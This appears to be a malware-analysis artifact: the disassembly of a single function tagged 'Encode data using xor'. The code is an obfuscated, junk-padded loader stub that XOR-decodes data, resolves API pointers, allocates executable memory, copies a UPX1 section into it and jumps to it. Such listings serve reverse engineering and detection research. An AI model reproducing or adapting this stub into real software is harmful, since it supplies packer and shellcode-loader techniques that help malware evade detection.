Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xebb119b6
sub esi, ebx
not ebx
popal
or ebx, esi
sub esi, 0x36ef1497
add esi, 0x8969c3f6
mov edi, 0
mov ecx, edx
mov esi, ebx
or ebx, esi
mov eax, ecx
dec ebx
sub esi, 0xd88eac94
mov edx, eax
sub ebx, esi
mov ebx, esi
inc edi
sub ebx, 0x70f55b0a
mov esi, 0x20bdfa05
cmp edi, 0x100a6a5
jne 0xa789ca
not ebx
or esi, ebx
mov esi, ebx
sub esi, ebx
add ebx, 0x5fb24b88
mov ebx, 0xb3746609
mov edi, 0xa78796
sub esi, ecx
inc ecx
mov eax, 0xa7898a
add edx, 0x7ca29393
and edx, ecx
sub edx, 1
mov ebx, dword [edi]
not ecx
not esi
add ecx, esi
and ebx, 0xff
sub ecx, esi
inc edx
add esi, 0x6c634614
xor dword [eax], ebx
sub esi, edx
inc esi
add ecx, ecx
add eax, 1
add edx, 0x6660af3d
mov edx, esi
add ecx, ecx
inc edi
inc esi
add edx, 0x7aae8694
cmp eax, entry0
jl 0xa78a25
sub esi, ecx
add ecx, edx
mov ecx, 0xf331e6ce
or ecx, edx
add edx, 0x345d113a
add edi, 0x6cb8dea9
sub esi, 0xdc9397bf
add ebx, edi
mov edx, 0xa7898e
sub ecx, 1
not esi
add esi, 0xa8bb45ea
mov edx, dword [edx]
and edi, edi
add edi, 0x872d21aa
sub edi, 0xc35034a8
mov edx, dword [edx]
and edi, edi
sub ebx, esi
and ecx, ecx
push edx
add ebx, ecx
sub ebx, 0xb78c5916
add esi, edi
mov edx, 0xa7898a
mov edi, 0xf618322e
mov ecx, edi
mov edx, dword [edx]
mov ecx, edi
not edi
sub edi, 0x4b7aa74d
mov edx, dword [edx]
sub esi, ebx
sub esi, 0x62c89bc1
push 0xa78992
inc ebx
sub ecx, 0xe8573830
call edx
mov ebx, edi
add edi, 0xd09d6940
mov edx, dword [esp]
add esp, 4
mov esi, 0xe4cc2d7
sub edi, ecx
sub edi, 0xacfaf114
sub esp, 4
mov dword [esp], 0xa7899f
dec ecx
dec esi
sub ebx, 1
sub esp, 4
mov dword [esp], eax
inc edi
sub esi, 0x1cbc5a48
or ebx, edi
call edx
sub ebx, 0xa4c0e2c0
not ecx
sub ebx, ecx
push 0x40
add ebx, 0x42c8f77e
sub ebx, edi
not ecx
sub esp, 4
mov dword [esp], 0x3000
mov esi, ecx
and edi, ecx
dec ecx
sub esp, 4
mov dword [esp], 0x20000165
add esi, edi
sub ecx, ebx
sub ebx, edi
push 0
not ecx
not edi
sub ebx, edi
call eax
mov ecx, 0x4e1cabcb
or ecx, esi
mov edi, esi
add eax, 0x2000009e
add esi, 0x29324f74
and edi, edi
mov edx, 0xffc40ebc
mov ecx, ebx
and edi, ecx
mov dword [eax], edx
and esi, ecx
mov ebx, edi
mov edx, dword [eax]
and esi, esi
add ecx, 0xc4958931
cmp edx, 0xffc40ebc
je 0xa78bae
mov ecx, 0
mov al, byte [ecx]
mov esi, edi
inc esi
dec ecx
inc ebx
dec ebx
sub ebx, 0x5e17f6bf
inc esi
mov eax, section.UPX1
dec ebx
and ebx, ebx
add esi, 0x1bcc3014
mov ecx, 0xa78795
sub ebx, 0x5c3b0c06
add esi, esi
or esi, ebx
mov edi, 0
mov ebx, esi
mov ebx, 0x2ed1bcde
or ebx, esi
mov edx, 0xa78796
sub esi, 0xe688951f
sub esi, 1
not ebx
lea edx, [edx + edi]
sub ebx, 0x7c167a90
add ebx, 0xaf3335f0
mov edx, dword [edx]
mov ebx, esi
inc ebx
and edx, 0xff
dec esi
dec ebx
sub esi, ebx
inc edi
not ebx
sub esi, 0xfa767aa4
cmp edi, 0x1f4
jne 0xa78c2d
mov edi, 0
add ebx, 0x7732d22e
sub esi, ebx
sub esi, 0x2ad7a32c
sub esi, ebx
sub esi, ebx
xor dword [eax], edx
not ebx
inc ebx
add eax, 2
not esi
inc esi
add esi, esi
cmp eax, ecx
jl 0xa78be6
add ebx, ebx
inc esi
add esi, ebx
mov esi, 0x733fa106
mov edx, section.UPX1
sub edi, 0x64ff42b4
mov edi, ebx
add ebx, edi
mov ecx, section.UPX1
and edi, edi
sub ebx, 1
dec ebx
mov esi, 0xa78795
and edi, ebx
or edi, ebx
mov eax, 0
add ebx, 1
dec ebx
sub ebx, 0xcf053b41
mov al, byte [ecx]
not ebx
sub edi, 0xcee03ed9
mov byte [edx], al
dec edi
sub edi, 0x485d2c3e
mov edi, 0x3d07f21
inc edx
not ebx
add edi, edi
sub ebx, 0xff2611b5
add ecx, 2
or edi, edi
dec ebx
cmp ecx, esi
jle 0xa78c99
sub edi, 0xc9714996
not ebx
mov esi, 0x664b5201
add esi, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub esi, 0x15e27772
mov esi, 0x57c56f67
ret